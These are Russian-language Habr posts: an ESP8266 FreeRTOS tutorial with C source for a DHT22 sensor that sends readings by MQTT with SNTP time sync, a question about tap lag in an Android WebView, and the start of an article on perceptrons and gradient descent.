* [Наш Telegram-чат](https://t.me/hh_tech), где вы можете обсудить с нами любые вопросы по мобильной разработке и тестированию | https://habr.com/ru/post/591223/ | null | ru | null |
# Немного о программировании ESP8266 на C под FreeRTOS
***Тут должна быть КДПВ, но на нее не хватило бюджета.***
Замотивировавшись ответом от [Tarson](https://geektimes.ru/users/tarson/) на мой комментарий к [Программирование и обмен данными с «ARDUINO» по WI-FI посредством ESP8266](https://geektimes.ru/post/292801/), решил написать про основы программирования ESP8266 на C под FreeRTOS. Подробности под катом.
**Шаг 0 — устройство**
Для начала надо обзавестись устройством c ESP8266, желательно, чтобы там был разведен USB to UART, чтобы не пришлось городить программатор. Я свои бесчеловечные опыты провожу на [NodeMCU](https://www.seeedstudio.com/NodeMCU-v2-Lua-based-ESP8266-development-kit-p-2415.html).
**Итак, шаг 1 — собираем тулчейн**
Для начала надо обзавестись компьютером с установленным на нем дистрибутивом Linux (у меня OpenSUSE Leap). Идем на гитхаб по ссылке [тыц](https://github.com/pfalcon/esp-open-sdk), читаем инструкцию по сборке, устанавливаем необходимые зависимости, клонируем репозиторий, и собираем. Я клонировал в /opt/ESP и перед сборкой правил Makefile, выставив переменные:
```
STANDALONE = n
VENDOR_SDK = 2.1.0
```
Далее можно в ~/.bashrc добавить в PATH путь к бинарникам тулчейна:
```
export PATH=/opt/ESP/esp-open-sdk/xtensa-lx106-elf/bin:$PATH
```
**Шаг 2 — получаем SDK**
Идем на гитхаб ([тыньк](https://github.com/SuperHouse/esp-open-rtos)), читаем инструкции, клонируем (например в /opt/ESP). Далее задаем любимым способом (например через ~/.bashrc) переменную окружения ESP8266\_SDK\_PATH:
```
export ESP8266_SDK_PATH=/opt/ESP/esp-open-rtos
```
**Шаг 3 — создаем проект**
Заходим в директорию examples в директории с SDK и копируем любой понравившийся пример. Импортируем/открываем проект в любимой среде разработки, мазохисты могут использовать текстовый редактор. Я предпочитаю NetBeans — у него неплохая поддержка C/C++ проектов, в том числе на основе Makefile. Собирается проект с помощью make, прошивается с помощью make flash. В файле local.mk можно настроить параметры для прошивки своего устройства (размер и режим обращения к флеш памяти, например).
**Шаг 4 — программируем**
Проводим анализ требований, предметной области, составляем ТЗ согласно ГОСТ 34.602-89, после чего можно начинать писать код :) Светодиодами мигать не буду, т. к. их у меня нет, поэтому в качестве HelloWorld будет чтение данных с датчика AM2302 (он же DHT22) и отправка их по протоколу MQTT на сервер.
Для того, чтобы использовать дополнительные модули, например MQTT или DHT, их необходимо добавить в Makefile:
```
PROGRAM=fffmeteo
EXTRA_COMPONENTS = extras/paho_mqtt_c extras/dht
include $(ESP8266_SDK_PATH)/common.mk
```
**main.h**
```
#ifndef MAIN_H
#define MAIN_H
#include
#include
#include
#include
#include
#include
#include
#define DEBUG
#ifdef DEBUG
#define debug(args...) printf("--- "); printf(args)
#define SNTP\_DEBUG\_ENABLED true
#else
#define debug(args...)
#define SNTP\_DEBUG\_ENABLED false
#endif
#define WIFI\_SSID "kosmonaFFFt"
#define WIFI\_PASS "mysupermegapassword"
#define MQTT\_HOST "m11.cloudmqtt.com"
#define MQTT\_PORT 16464
#define MQTT\_USER "kosmonaFFFt"
#define MQTT\_PASS "mysupermegapassword"
#define MQTT\_TOPIC "/meteo"
#define NTP\_SERVER "pool.ntp.org"
#define UART0\_BAUD 9600
#define STACK\_SIZE 512
#define INIT\_TASK\_PRIORITY (configTIMER\_TASK\_PRIORITY + 1)
#define MEASUREMENT\_TASK\_PRIORITY (INIT\_TASK\_PRIORITY + 1)
#define SENDING\_DATA\_TASK\_PRIORITY (MEASUREMENT\_TASK\_PRIORITY + 1)
#define MEASUREMENTS\_PERIOD\_S 59
#define MAX\_MEASUREMENTS\_COUNT 16
#define SEND\_PERIOD\_S 120
#define RUN\_SNTP\_SYNC\_PERIOD 5
#define MS(x) (x / portTICK\_PERIOD\_MS)
#define AM2302\_PIN 5
#ifdef \_\_cplusplus
extern "C"
{
#endif
#ifdef \_\_cplusplus
}
#endif
#endif /\* MAIN\_H \*/
```
**main.c**
```
#include "main.h"
#include "sntp.h"
#include
#include
#include
#include
#include
//-----------------------------------------------------------------------------+
// Measurements task section. |
//-----------------------------------------------------------------------------+
struct measurement\_results
{
time\_t timestamp;
int am2302\_humidity;
int am2302\_temperature;
};
static QueueHandle\_t measurements\_queue;
void measurement\_task(void \*arg)
{
int16\_t humidity;
int16\_t temperature;
struct measurement\_results measurements;
while (true)
{
debug("MEASUREMENTS: Start measurements...\n");
measurements.timestamp = time(NULL);
bool success = dht\_read\_data(DHT\_TYPE\_DHT22, AM2302\_PIN, &humidity, &temperature);
if (success && temperature >= -500 && temperature <= 1500 && humidity >= 0 && humidity <= 1000)
{
measurements.am2302\_humidity = humidity;
measurements.am2302\_temperature = temperature;
}
else
{
debug("MEASUREMENT: Error! Cannot read data from AM2302!!!\n");
measurements.am2302\_humidity = INT\_MIN;
measurements.am2302\_temperature = INT\_MIN;
}
debug("MEASUREMENTS: Measurements finished...\n");
xQueueSendToBack(measurements\_queue, &measurements, MS(250));
vTaskDelay(MS(MEASUREMENTS\_PERIOD\_S \* 1000));
}
vTaskDelete(NULL);
}
//-----------------------------------------------------------------------------+
// Sending data task section. |
//-----------------------------------------------------------------------------+
static uint8\_t mqtt\_buf[512];
static uint8\_t mqtt\_readbuf[128];
void sending\_data\_task(void \*arg)
{
mqtt\_network\_t network;
mqtt\_network\_new(&network);
mqtt\_client\_t client = mqtt\_client\_default;
mqtt\_packet\_connect\_data\_t data = mqtt\_packet\_connect\_data\_initializer;
uint8\_t sntp\_sync\_counter = 0;
while (true)
{
debug("MQTT: ConnectNetwork...\n");
int err = mqtt\_network\_connect(&network, MQTT\_HOST, MQTT\_PORT);
if (err)
{
debug("MQTT: Error!!! ConnectNetwork ERROR!\n");
vTaskDelay(MS(5 \* 1000));
continue;
}
else
{
debug("MQTT: ConnectNetwork success...\n");
}
// TODO: add check for errors!!!
// TODO: replace magic constants!!!
mqtt\_client\_new(&client, &network, 5000, mqtt\_buf, 100, mqtt\_readbuf, 100);
data.willFlag = 0;
data.MQTTVersion = 3;
data.clientID.cstring = "fff";
data.username.cstring = MQTT\_USER;
data.password.cstring = MQTT\_PASS;
data.keepAliveInterval = 10;
data.cleansession = 0;
err = mqtt\_connect(&client, &data);
if (err)
{
debug("MQTT: Error!!! MQTTConnect ERROR!\n");
vTaskDelay(MS(5 \* 1000));
continue;
}
else
{
debug("MQTT: MQTTConnect success...\n");
}
struct measurement\_results msg;
while (xQueueReceive(measurements\_queue, &msg, 0) == pdTRUE)
{
if (msg.am2302\_humidity == INT\_MIN || msg.am2302\_temperature == INT\_MIN)
{
debug("MQTT: Got invalid message, no publishing!!!\n");
continue;
}
debug("MQTT: Got message to publish...\n");
debug(" timestamp: %ld\n", msg.timestamp);
debug(" am2302\_humidity: %.1f\n", msg.am2302\_humidity / 10.0);
debug(" am2302\_temperature: %.1f\n", msg.am2302\_temperature / 10.0);
msg.timestamp = htonl(msg.timestamp);
msg.am2302\_humidity = htonl(msg.am2302\_humidity);
msg.am2302\_temperature = htonl(msg.am2302\_temperature);
mqtt\_message\_t message;
message.payload = &msg
message.payloadlen = sizeof (msg);
message.dup = 0;
message.qos = MQTT\_QOS1;
message.retained = 0;
err = mqtt\_publish(&client, MQTT\_TOPIC, &message);
if (err)
{
debug("MQTT: Error!!! Error while publishing message!\n");
}
else
{
debug("MQTT: Successfully publish message...\n");
}
}
mqtt\_disconnect(&client);
mqtt\_network\_disconnect(&network);
++sntp\_sync\_counter;
if (sntp\_sync\_counter == RUN\_SNTP\_SYNC\_PERIOD)
{
sntp\_sync(NTP\_SERVER, NULL, arg);
sntp\_sync\_counter = 0;
}
vTaskDelay(MS(SEND\_PERIOD\_S \* 1000));
}
vTaskDelete(NULL);
}
//-----------------------------------------------------------------------------+
// Init task section. |
//-----------------------------------------------------------------------------+
/\*\*
\* This semaphore is taken during sntp sync and released after it finished.
\*/
static SemaphoreHandle\_t init\_task\_sem;
/\*\*
\* Set time and free init task semaphore.
\* @param error unused
\* @param arg unused
\*/
void init\_sntp\_callback(int8\_t error, void\* arg)
{
time\_t ts = time(NULL);
debug("TIME: %s", ctime(&ts));
xSemaphoreGive(init\_task\_sem);
}
/\*\*
\* Connection parameters.
\*/
static struct sdk\_station\_config STATION\_CONFIG = {
.ssid = WIFI\_SSID,
.password = WIFI\_PASS,
};
void init\_task(void\* arg)
{
debug("INIT: setting pins...\n");
gpio\_set\_pullup(AM2302\_PIN, false, false);
debug("INIT: Set station parameters...\n");
sdk\_wifi\_station\_set\_auto\_connect(false);
sdk\_wifi\_station\_set\_config(&STATION\_CONFIG);
debug("Station parameters has been set.\n");
debug("INIT: Connecting to AP...\n");
sdk\_wifi\_station\_connect();
while (sdk\_wifi\_station\_get\_connect\_status() != STATION\_GOT\_IP)
{
vTaskDelay(MS(1000));
}
debug("INIT: Connection to AP has been estabilished...\n");
debug("INIT: Start SNTP synchronization...\n");
init\_task\_sem = xSemaphoreCreateMutex();
if (!init\_task\_sem)
{
debug("INIT: Cannot create init task semaphore!!!");
return;
}
xSemaphoreTake(init\_task\_sem, 0);
sntp\_init();
sntp\_sync(NTP\_SERVER, init\_sntp\_callback, arg);
BaseType\_t result = pdFALSE;
while (true)
{
debug("INIT: Trying to take init task semaphore...\n");
result = xSemaphoreTake(init\_task\_sem, MS(5 \* 1000));
if (result == pdTRUE)
{
debug("INIT: Init task semaphore is taken...\n");
break;
}
}
measurements\_queue = xQueueCreate(MAX\_MEASUREMENTS\_COUNT, sizeof (struct measurement\_results));
if (!measurements\_queue)
{
debug("INIT: ERROR!!! Cannot create queue for measurements!\n");
goto fail;
}
result = xTaskCreate(measurement\_task, "measurement\_task", STACK\_SIZE, NULL, MEASUREMENT\_TASK\_PRIORITY, NULL);
if (result == pdFAIL)
{
debug("INIT: Measurement task creation failed!!!\n");
goto fail;
}
debug("INIT: Measurement task created...\n");
result = xTaskCreate(sending\_data\_task, "send\_data\_task", STACK\_SIZE, NULL, SENDING\_DATA\_TASK\_PRIORITY, NULL);
if (result == pdFAIL)
{
debug("INIT: Send task creation failed!!!\n");
goto fail;
}
debug("INIT: Send data task created...\n");
fail:
vSemaphoreDelete(init\_task\_sem);
vTaskDelete(NULL);
}
//-----------------------------------------------------------------------------+
// Application entry point. |
//-----------------------------------------------------------------------------+
void user\_init(void)
{
debug("USER\_INIT: SDK version: %s\n", sdk\_system\_get\_sdk\_version());
debug("USER\_INIT: sizeof (int): %d\n", sizeof (int));
debug("USER\_INIT: sizeof (float): %d\n", sizeof (float));
debug("USER\_INIT: sizeof (time\_t): %d\n", sizeof (time\_t));
uart\_set\_baud(0, UART0\_BAUD);
BaseType\_t result = xTaskCreate(init\_task, (const char \* const) "init\_task", STACK\_SIZE, NULL, INIT\_TASK\_PRIORITY, NULL);
if (!result)
{
debug("USER\_INIT: Cannot create init task!!!");
return;
}
}
```
**sntp.h**
```
#ifndef SNTP_H
#define SNTP_H
#include
#include
#ifdef \_\_cplusplus
extern "C"
{
#endif
#define SNTP\_ERR\_OK 0
#define SNTP\_ERR\_CONTEXT -1
#define SNTP\_ERR\_DNS -2
#define SNTP\_ERR\_UDP\_PCB\_ALLOC -3
#define SNTP\_ERR\_PBUF\_ALLOC -4
#define SNTP\_ERR\_SEND -5
#define SNTP\_ERR\_RECV\_ADDR\_PORT -6;
#define SNTP\_ERR\_RECV\_SIZE -7
#define SNTP\_ERR\_RECV\_MODE -8
#define SNTP\_ERR\_RECV\_STRATUM -9
typedef void (\*sntp\_sync\_callback)(int8\_t error, void \*arg);
void sntp\_init();
void sntp\_sync(char \*server, sntp\_sync\_callback callback, void \*callback\_arg);
time\_t sntp\_get\_rtc\_time(int32\_t \*us);
void sntp\_update\_rtc(time\_t t, uint32\_t us);
#ifdef \_\_cplusplus
}
#endif
#endif /\* SNTP\_H \*/
```
**sntp.c**
```
#include "main.h"
#include "sntp.h"
#include
#include
#include
#include
#include
#include
#include
#include
#define TIMER\_COUNT RTC.COUNTER
/\*\*
\* Daylight settings.
\* Base calculated with value obtained from NTP server (64 bits).
\*/
#define SNTP\_BASE (\*((uint64\_t\*) RTC.SCRATCH))
/\*\*
\* Timer value when base was obtained.
\*/
#define SNTP\_TIME\_REF (RTC.SCRATCH[2])
/\*\*
\* Calibration value.
\*/
#define SNTP\_CALIBRATION (RTC.SCRATCH[3])
/\*\*
\* SNTP modes.
\*/
#define SNTP\_MODE\_CLIENT 0x03
#define SNTP\_MODE\_SERVER 0x04
#define SNTP\_MODE\_BROADCAST 0x05
/\*\*
\* Kiss-of-death code.
\*/
#define SNTP\_STRATUM\_KOD 0x00
#define SNTP\_OFFSET\_LI\_VN\_MODE 0
#define SNTP\_OFFSET\_STRATUM 1
#define SNTP\_OFFSET\_RECEIVE\_TIME 32
#define DIFF\_SEC\_1900\_1970 (2208988800UL)
struct sntp\_message
{
uint8\_t li\_vn\_mode;
uint8\_t stratum;
uint8\_t poll;
uint8\_t precision;
uint32\_t root\_delay;
uint32\_t root\_dispersion;
uint32\_t reference\_identifier;
uint32\_t reference\_timestamp[2];
uint32\_t originate\_timestamp[2];
uint32\_t receive\_timestamp[2];
uint32\_t transmit\_timestamp[2];
} \_\_attribute\_\_ ((packed));
struct sntp\_sync\_context
{
ip\_addr\_t ip\_address;
sntp\_sync\_callback callback;
void\* callback\_arg;
};
void sntp\_init()
{
SNTP\_BASE = 0;
SNTP\_CALIBRATION = 1;
SNTP\_TIME\_REF = TIMER\_COUNT;
}
void on\_dns\_found(const char\* name, ip\_addr\_t\* ipaddr, void\* arg);
void on\_udp\_recv(void\* arg, struct udp\_pcb\* pcb, struct pbuf\* p, ip\_addr\_t\* addr, u16\_t port);
void sntp\_sync(char\* server, sntp\_sync\_callback callback, void\* callback\_arg)
{
int result = ERR\_OK;
debug("SNTP: Start SNTP synchronization, allocating memory for context...\n");
struct sntp\_sync\_context\* context = malloc(sizeof (struct sntp\_sync\_context));
if (!context)
{
debug("SNTP: Error!!! Cannot allocate memory for context!\n");
result = SNTP\_ERR\_CONTEXT;
goto fail;
}
context->callback = callback;
context->callback\_arg = callback\_arg;
debug("SNTP: Context successfully allocated...\n");
debug("SNTP: Start DNS lookup...\n");
err\_t err = dns\_gethostbyname(server, &(context->ip\_address), on\_dns\_found, context);
if (!(err == ERR\_OK || err == ERR\_INPROGRESS))
{
debug("SNTP: Error!!! DNS lookup error!\n");
result = SNTP\_ERR\_DNS;
goto fail;
}
return;
fail:
if (context)
{
free(context);
}
if (callback)
{
callback(result, callback\_arg);
}
}
//
//==============================================================================================================================================================
//
void on\_dns\_found(const char\* name, ip\_addr\_t\* ipaddr, void\* arg)
{
debug("SNTP: Start DNS lookup successfully finished...\n");
int result = ERR\_OK;
struct sntp\_sync\_context\* context = arg;
sntp\_sync\_callback callback = context->callback;
void\* callback\_arg = context->callback\_arg;
debug("SNTP: Creating upd\_pcb...\n");
struct udp\_pcb\* sntp\_pcb = udp\_new();
if (!sntp\_pcb)
{
debug("SNTP: Error!!! Cannot allocate udp\_pcb!\n");
result = SNTP\_ERR\_UDP\_PCB\_ALLOC;
goto fail;
}
debug("SNTP: Successfully created upd\_pcb...\n");
debug("SNTP: Allocating pbuf...\n");
struct pbuf\* p = pbuf\_alloc(PBUF\_TRANSPORT, sizeof (struct sntp\_message), PBUF\_RAM);
if (!p)
{
debug("SNTP: Error!!! DNS lookup error!\n");
result = SNTP\_ERR\_PBUF\_ALLOC;
goto fail;
}
struct sntp\_message\* message = p->payload;
memset(message, 0, sizeof (struct sntp\_message));
message->li\_vn\_mode = 0b00100011; // li = 00, vn = 4, mode = 3
debug("SNTP: Pbuf allocated successfully...\n");
debug("SNTP: Sending data to server...\n");
udp\_recv(sntp\_pcb, on\_udp\_recv, context);
err\_t err = udp\_sendto(sntp\_pcb, p, ipaddr, 123);
pbuf\_free(p);
if (err != ERR\_OK)
{
debug("SNTP: Error!!! data sending error!\n");
result = SNTP\_ERR\_SEND;
goto fail;
}
debug("SNTP: Data sent...\n");
return;
fail:
if (context)
{
free(context);
}
if (sntp\_pcb)
{
udp\_remove(sntp\_pcb);
}
if (callback)
{
callback(result, callback\_arg);
}
}
void on\_udp\_recv(void\* arg, struct udp\_pcb\* pcb, struct pbuf\* p, ip\_addr\_t\* addr, u16\_t port)
{
debug("SNTP: Response has successfully received...\n");
int result = ERR\_OK;
struct sntp\_sync\_context\* context = arg;
sntp\_sync\_callback callback = context->callback;
void\* callback\_arg = context->callback\_arg;
debug("SNTP: Checking response size...\n");
if (p->tot\_len < sizeof (struct sntp\_message))
{
debug("SNTP: Error!!! Invalid response size!\n");
result = SNTP\_ERR\_RECV\_SIZE;
goto fail;
}
debug("SNTP: Response size is OK...\n");
debug("SNTP: Checking mode...\n");
u8\_t mode = 0x0;
pbuf\_copy\_partial(p, &mode, sizeof (mode), SNTP\_OFFSET\_LI\_VN\_MODE);
mode &= 0b00000111;
if (mode != SNTP\_MODE\_SERVER && mode != SNTP\_MODE\_BROADCAST)
{
debug("SNTP: Error!!! Invalid mode!\n");
result = SNTP\_ERR\_RECV\_MODE;
goto fail;
}
debug("SNTP: Mode is OK...\n");
debug("SNTP: Checking stratum...\n");
u8\_t stratum = 0x0;
pbuf\_copy\_partial(p, &stratum, sizeof (stratum), SNTP\_OFFSET\_STRATUM);
if (stratum == SNTP\_STRATUM\_KOD)
{
debug("SNTP: Error!!! Kiss of death!\n");
result = SNTP\_ERR\_RECV\_STRATUM;
goto fail;
}
debug("SNTP: Stratum is OK...\n");
debug("SNTP: Updating system timer...\n");
uint32\_t receive\_time[2];
pbuf\_copy\_partial(p, &receive\_time, 2 \* sizeof (uint32\_t), SNTP\_OFFSET\_RECEIVE\_TIME);
time\_t t = ntohl(receive\_time[0]) - DIFF\_SEC\_1900\_1970;
uint32\_t us = ntohl(receive\_time[1]) / 4295;
sntp\_update\_rtc(t, us);
debug("SNTP: System timer updated...\n");
fail:
if (context)
{
free(context);
}
if (pcb)
{
udp\_remove(pcb);
}
if (callback)
{
callback(result, callback\_arg);
}
}
/\*\*
\* Check if a timer wrap has occurred. Compensate sntp\_base reference
\* if affirmative.
\* TODO: think about multitasking and race conditions.
\*/
inline void sntp\_check\_timer\_wrap(uint32\_t current\_value)
{
if (current\_value < SNTP\_TIME\_REF)
{
// Timer wrap has occurred, compensate by subtracting 2^32 to ref.
SNTP\_BASE -= 1LLU << 32;
}
}
/\*\*
\* Return secs. If us is not a null pointer, fill it with usecs
\*/
time\_t sntp\_get\_rtc\_time(int32\_t \*us)
{
time\_t secs;
uint32\_t tim;
uint64\_t base;
tim = TIMER\_COUNT;
// Check for timer wrap.
sntp\_check\_timer\_wrap(tim);
base = SNTP\_BASE + tim - SNTP\_TIME\_REF;
secs = base \* SNTP\_CALIBRATION / (1000000U << 12);
if (us)
{
\*us = base \* SNTP\_CALIBRATION % (1000000U << 12);
}
return secs;
}
/\*\*
\* Update RTC timer. Called by SNTP module each time it receives an update.
\*/
void sntp\_update\_rtc(time\_t t, uint32\_t us)
{
// Apply daylight and timezone correction
// DEBUG: Compute and print drift
int64\_t sntp\_current = SNTP\_BASE + TIMER\_COUNT - SNTP\_TIME\_REF;
int64\_t sntp\_correct = (((uint64\_t) us + (uint64\_t) t \* 1000000U) << 12) / SNTP\_CALIBRATION;
debug("RTC Adjust: drift = %ld ticks, cal = %d\n", (time\_t) (sntp\_correct - sntp\_current), SNTP\_CALIBRATION);
SNTP\_TIME\_REF = TIMER\_COUNT;
SNTP\_CALIBRATION = sdk\_system\_rtc\_clock\_cali\_proc();
SNTP\_BASE = (((uint64\_t) us + (uint64\_t) t \* 1000000U) << 12) / SNTP\_CALIBRATION;
}
/\*\*
\* Syscall implementation. doesn't seem to use tzp.
\*/
int \_gettimeofday\_r(struct \_reent\* r, struct timeval\* tp, void\* tzp)
{
// Syscall defined by xtensa newlib defines tzp as void\*
// So it looks like it is not used. Also check tp is not NULL
if (tzp || !tp)
{
return EINVAL;
}
tp->tv\_sec = sntp\_get\_rtc\_time((int32\_t\*) & tp->tv\_usec);
return 0;
}
```
Лирическое отступление по поводу наличия своего кода синхронизации времени по SNTP: в extensions из SDK уже есть такой модуль, но мне он почему-то не понравился (давно было, уже не помню почему), поэтому я тот код нагло скопипастил и доработал под себя.
Работает все просто: при старте контроллера запускается задача инициализации, которая подключается к точке доступа, синхронизирует время по SNTP, запускает задачи измерения температуры с влажностью и отправки данных на сервер, после чего самоубивается. Задачка измерения опрашивает датчик раз в 59 секунд и складывает результаты в очередь, задача отправки запускается раз в 2 минуты, читает данные из очереди и отправляет на MQTT сервер.
Теоретически, можно писать и на C++.
**Шаг 5 — заключение, куда же без него**
Таким вот нехитрым образом, с помощью языка C и рук с небольшим радиусом кривизны можно запрограммировать контроллер ESP8266. Основное преимущество данного подхода перед скриптовыми решениями (например LUA или MicroPython) в полном контроле над составом и ресурсами прошивки, и возможность впихнуть больше функциональности при ограниченных ресурсах контроллера. Так же есть вариант использования RTOS SDK или NONOS SDK от Espressif, но с первым у меня не срослось, а второй не пробовал использовать. Если кому-то будет интересно, а так же когда сам разберусь, могу написать следующий туториал про OTA (обновление прошивки по воздуху).
Немного результатов работы данного кода:
**Данные, полученные с сервера MQTT, и залитые в БД**
**Отладочный выхлоп контроллера в UART**
```
SDK version: 0.9.9
--- USER_INIT: sizeof (int): 4
--- USER_INIT: sizeof (float): 4
--- USER_INIT: sizeof (time_t): 4
mode : sta(18:fe:34:d2:c5:a7)
add if0
--- INIT: setting pins...
--- INIT: Set station parameters...
--- Station parameters has been set.
--- INIT: Connecting to AP...
scandone
add 0
aid 2
cnt
connected with kosmonaFFFt, channel 1
dhcp client start...
ip:192.168.1.21,mask:255.255.255.0,gw:192.168.1.1
--- INIT: Connection to AP has been estabilished...
--- INIT: Start SNTP synchronization...
--- SNTP: Start SNTP synchronization, allocating memory for context...
--- SNTP: Context successfully allocated...
--- SNTP: Start DNS lookup...
--- INIT: Trying to take init task semaphore...
--- SNTP: Start DNS lookup successfully finished...
--- SNTP: Creating upd_pcb...
--- SNTP: Successfully created upd_pcb...
--- SNTP: Allocating pbuf...
--- SNTP: Pbuf allocated successfully...
--- SNTP: Sending data to server...
--- SNTP: Data sent...
--- SNTP: Response has successfully received...
--- SNTP: Checking response size...
--- SNTP: Response size is OK...
--- SNTP: Checking mode...
--- SNTP: Mode is OK...
--- SNTP: Checking stratum...
--- SNTP: Stratum is OK...
--- SNTP: Updating system timer...
--- RTC Adjust: drift = 1220897578 ticks, cal = 1
--- SNTP: System timer updated...
--- TIME: Thu Sep 21 19:20:36 2017
--- INIT: Init task semaphore is taken...
--- MEASUREMENTS: Start measurements...
--- MEASUREMENTS: Measurements finished...
--- INIT: Measurement task created...
--- MQTT: ConnectNetwork...
--- INIT: Send data task created...
--- MQTT: ConnectNetwork success...
--- MQTT: MQTTConnect success...
--- MQTT: Got message to publish...
--- timestamp: 1506021636
--- am2302_humidity: 55.8
--- am2302_temperature: 23.4
--- MQTT: Successfully publish message...
--- MEASUREMENTS: Start measurements...
--- MEASUREMENTS: Measurements finished...
--- MEASUREMENTS: Start measurements...
--- MEASUREMENTS: Measurements finished...
--- MQTT: ConnectNetwork...
--- MQTT: ConnectNetwork success...
--- MQTT: MQTTConnect success...
--- MQTT: Got message to publish...
--- timestamp: 1506021694
--- am2302_humidity: 55.2
--- am2302_temperature: 23.8
--- MQTT: Successfully publish message...
--- MQTT: Got message to publish...
--- timestamp: 1506021751
--- am2302_humidity: 56.5
--- am2302_temperature: 24.4
--- MQTT: Successfully publish message...
--- MEASUREMENTS: Start measurements...
--- MEASUREMENTS: Measurements finished...
--- MEASUREMENTS: Start measurements...
--- MEASUREMENTS: Measurements finished...
--- MQTT: ConnectNetwork...
--- MQTT: ConnectNetwork success...
--- MQTT: MQTTConnect success...
--- MQTT: Got message to publish...
--- timestamp: 1506021807
--- am2302_humidity: 53.0
--- am2302_temperature: 24.7
--- MQTT: Successfully publish message...
--- MQTT: Got message to publish...
--- timestamp: 1506021863
--- am2302_humidity: 52.3
--- am2302_temperature: 24.8
--- MQTT: Successfully publish message...
--- MEASUREMENTS: Start measurements...
--- MEASUREMENTS: Measurements finished...
--- MEASUREMENTS: Start measurements...
--- MEASUREMENTS: Measurements finished...
--- MQTT: ConnectNetwork...
--- MQTT: ConnectNetwork success...
--- MQTT: MQTTConnect success...
--- MQTT: Got message to publish...
--- timestamp: 1506021919
--- am2302_humidity: 52.0
--- am2302_temperature: 24.9
--- MQTT: Successfully publish message...
--- MQTT: Got message to publish...
--- timestamp: 1506021975
--- am2302_humidity: 53.3
--- am2302_temperature: 25.2
--- MQTT: Successfully publish message...
```
**P.S.** Для работы с UART на PC рекомендую использовать minicom (консоль), или cutecom (GUI).
**Полезные ссылки:**
* [API FreeRTOS](http://www.freertos.org/a00106.html)
* [Гайд по ESP RTOS SDK](http://espressif.com/sites/default/files/documentation/20a-esp8266_rtos_sdk_programming_guide_en.pdf) | https://habr.com/ru/post/406813/ | null | ru | null |
# Как ускорить реакцию на нажатие ссылок в WebView под Android
Приветствую всех Хабровчан!
Излагаю суть проблемы: есть приложение на Андроид — его суть — просто обертка вокруг WebView.
Весь функционал вынесен в PHP (на сервере) и JavaScript (на клиентских страницах).
Основная цель — на страницах много кнопок, которые пользователь может включать/выключать, тыча в них пальчиком (они при этом просто меняют цвет фона). Кнопки выполнены в виде ссылок, для которых в CSS заданы размеры, display: block, float: left, и т.п. (При попытке использовать обычные кнопки — — результат не меняется)
Так вот, при нажатии на кнопку (ссылку) смартфон делает паузу (где-то 300-400 мс), затем издает короткий звук нажатия, затем подсвечивает кнопку оранжевой рамкой и убирает ее (рамку). На все это уходит почти секунда (может и немного меньше, но все равно это ужасно мешает). Кнопок в окне много, нажимать их нужно быстро.
Можно ли избавиться от данной паузы и, возможно, эффекта подсветки?
Можно, конечно, сделать подсветку прозрачной, плюс прочие шаманства:
`a, a:hover, input, textarea {
-webkit-tap-highlight-color: rgba(0,0,0,0);
-webkit-touch-callout: none;
-webkit-user-select: none;
}
body {
-webkit-text-size-adjust: none;
-webkit-tap-highlight-color: rgba(0,0,0,0);
-webkit-touch-callout: none;
-webkit-user-select: none;
}`
Но время на ее прорисовку и убирание все равно тратится! Да еще и эта пауза перед звуком и подсветкой!
Стандартные кнопки в самом Android-приложении работают быстро. Но писать весь функционал на Java пока нереально (в силу недостаточного опыта программирования на Java). А вот на JavaScript + PHP + MySQL пишу свободно и все что угодно. Поэтому и был выбран такой путь.
В общем, если кто знает, чего нужно покрутить в WebView или WebSettings, чтобы уменьшить время прорисовки «финтифлюшек» при нажатии ссылки на странице, загруженной в компонент — буду очень признателен. | https://habr.com/ru/post/141476/ | null | ru | null |
# Градиентный спуск по косточкам
В интернете есть много статей с описанием алгоритма градиентного спуска. Здесь будет еще одна.
8 июля 1958 года [The New York Times писала](https://www.nytimes.com/1958/07/08/archives/new-navy-device-learns-by-doing-psychologist-shows-embryo-of.html): «Психолог показывает эмбрион компьютера, разработанного, чтобы читать и становиться мудрее. Разработанный ВМФ… стоивший 2 миллиона долларов компьютер "704", обучился различать левое и правое после пятидесяти попыток… По утверждению ВМФ, они используют этот принцип, чтобы построить первую мыслящую машину класса "Перцептрон", которая сможет читать и писать; разработку планируется завершить через год, с общей стоимостью $100 000… Ученые предсказывают, что позже Перцептроны смогут распознавать людей и называть их по имени, мгновенно переводить устную и письменную речь с одного языка на другой. Мистер Розенблатт сказал, что в принципе возможно построить "мозги", которые смогут воспроизводить самих себя на конвейере и которые будут осознавать свое собственное существование» (цитата и перевод из книги С. Николенко, «Глубокое обучение, погружение в мир нейронный сетей»).
Ах уж эти журналисты, умеют заинтриговать. Очень интересно разобраться, что на самом деле представляет из себя мыслящая машина класса «Перцептрон».
Двоичная (бинарная) классификация объектов, искусственный нейрон класса «Перцептрон»
------------------------------------------------------------------------------------
Вот наш искусственный нейрон, он делит объекты на два класса (выполняет двоичную классификацию объектов):
**Итак, у нас есть:**
* На входе: объект выборки — вектор m-мерного пространства 
* Весовые коэффициенты  по одному на каждый признак объекта выборки (тоже m-мерный вектор)
* Внутри: сумматор  — взвешенная сумма входов нейрона
* Дальше: активация 
* Еще дальше: квантизатор (порог) — θ [тета]
* Активация+порог — предсказание метки класса объекта по взвешенной сумме входов нейрона (признаков объекта). Эта часть определяет конкретную архитектуру нейрона.
* На выходе: метка класса объекта (одна из двух) 
*Классификация* — потому, что нейрон назначает объекту класс, *бинарная* (*двоичная*) — потому, что возможных классов всего *два*.
 [игрек с крышкой] — будем обозначать предсказанное (вычисленное) значение класса для объекта 
 [обычный игрек без крышки] — истинные (известные) значения класса для объекта  из обучающей выборки.
Значения  (здесь и дальше  и  — это не единичные значения, а векторы) меняются от объекта к объекту, весовые коэффициенты  (будучи выбраны один раз) остаются неизменны. Для обучающей выборки для каждого объекта  известна метка класса . На этапе обучения нужно подобрать весовые коэффициенты  так, чтобы модель выдавала правильное значение  (совпадающие с ) для максимального количества объектов обучающей выборки. Предположение о полезности обученного таким образом нейрона базируется на надежде на то, что с подобранными коэффициентами он будет выдавать правильные значение  для новых объектов , истинное значение класса  для которых заранее не известно.
Интуитивный смысл взвешенной суммы входов нейрона заключается в том, что все признаки объекта (каждый из признаков — это один из входов нейрона) оказывают влияние на результат классификации объекта, но не все признаки — в одинаковой степени. В какой именно степени — определяют веса; обнуление какого-то весового коэффициента обнуляет вклад соответствующего признака в общую сумму, т.е. это равносильно удалению у объекта признака.
Адаптивный линейный нейрон ADALINE
----------------------------------
Нейрон ADALINE (adaptive linear neuron) — это обычный искусственный нейрон вот с такой функцией активации:
